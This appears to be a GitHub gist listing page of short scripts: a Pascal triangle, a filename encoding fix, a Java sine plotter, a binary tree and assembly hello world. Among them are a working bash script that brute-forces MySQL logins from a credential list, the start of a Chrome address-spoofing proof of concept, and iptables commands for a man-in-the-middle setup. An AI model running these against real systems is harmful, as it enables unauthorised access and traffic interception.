Skip to content

Instantly share code, notes, and snippets.

@ptantiku
ptantiku / pascal_triangle.py
Created December 4, 2015 19:20
Pascal Triangle
#!/usr/bin/env python
#idea from: https://rossta.net/blog/pascals-triangle-with-rubys-enumerator.html
row=[1]
print row
for i in xrange(10):
row=[ sum(x) for x in zip([0]+row, row+[0]) ]
print row
@ptantiku
ptantiku / filename_fix.sh
Created November 9, 2015 07:14
Fix encoding problem on file name downloaded from e-learning server (windows)
#!/bin/bash
for f in *
do
n=$(echo $f|iconv -f LATIN1 -t UTF8 -c)
mv "$f" "$n"
done
@ptantiku
ptantiku / LoopExample.java
Created August 22, 2015 08:50
Plotting Equations on Java
public class LoopExample{
public static void main(String[] args){
/* sine */
for(double y=1.0;y>=-1.0;y-=0.1){
for(double x=0;x<=2*Math.PI;x+=5*Math.PI/180){
if( (Math.sin(x)>=0 && y<=Math.sin(x) && y>=0) ||
(Math.sin(x)<=0 && Math.sin(x)<=y && y<=0))
System.out.print('*');
else
System.out.print(' ');
@ptantiku
ptantiku / bruteforce_mysql_login.sh
Last active August 29, 2015 14:24
Bruteforce MySQL
#!/bin/bash
#In the file, list of usernames & passwords in format of: "user:pass"
file=credentiallist.txt
[[ $# -ne 1 ]] && echo "usage: $0 ip_or_hostname_here" && exit
while IFS=: read user pass
do
mysql -h $1 -u $user -p"$pass" -e STATUS && echo "Found: user=$user pass=$pass" && exit 0
done < $file
@ptantiku
ptantiku / check_selfsigned.rb
Last active August 29, 2015 14:24
Ruby scripts to parse Google Chromium's pinned certificates and then determine if they are self-signed.
#!/usr/bin/env ruby
#
# check all certificates in "./certs/" whether they are a self-signed certificate, or not.
#
require 'openssl'
Dir['certs/*'].each do |file|
#diff = `openssl x509 -in #{file} -noout -issuer -subject| cut -d'=' -f2 | uniq | wc -l`
#if diff.chomp == '1'
cert = OpenSSL::X509::Certificate.new(File.open(file))
@ptantiku
ptantiku / iconv_bruteforce.rb
Created July 3, 2015 09:57
Convert input.txt to all encoding available in iconv
#!/usr/bin/env ruby
list=`iconv -l`.gsub(/[ \n]/,'').split('//')
list.each do |encode|
out = `iconv input.txt -f #{encode} -c -t UTF-8`
puts "#{encode}\t#{out}"
end
@ptantiku
ptantiku / chrome_addr_spoof_poc
Last active July 5, 2016 02:46
Google Chrome Address Spoofing
Original: http://seclists.org/fulldisclosure/2015/Jun/108
Modified by: ptantiku
------------------------------------------------------------------------------------
content.html
------------------------------------------------------------------------------------
<html>
<body>
This is not facebook.com! This is EVIL!
<script>
@ptantiku
ptantiku / mitm_setup
Created April 14, 2015 01:48
MITM setup
# flush all iptables
iptables -F
iptables -t nat -F
# enable port forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# set NAT: intranet --> eth1 --> MITM --> eth0 --> internet
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth1 -j ACCEPT
@ptantiku
ptantiku / bintree
Created February 25, 2015 16:56
an implementation of binary tree in python
#!/usr/bin/env python3
# binary tree in array
#
# author: ptantiku
#
class Node:
id = 0
data = ""
@ptantiku
ptantiku / helloworld.s
Created February 22, 2015 14:41
Hello World in GNU Assembly
.data [5/1908]
hellostr:
.string "Hello World"
.text
.global main
main:
pushq %rbp
movq %rsp, %rbp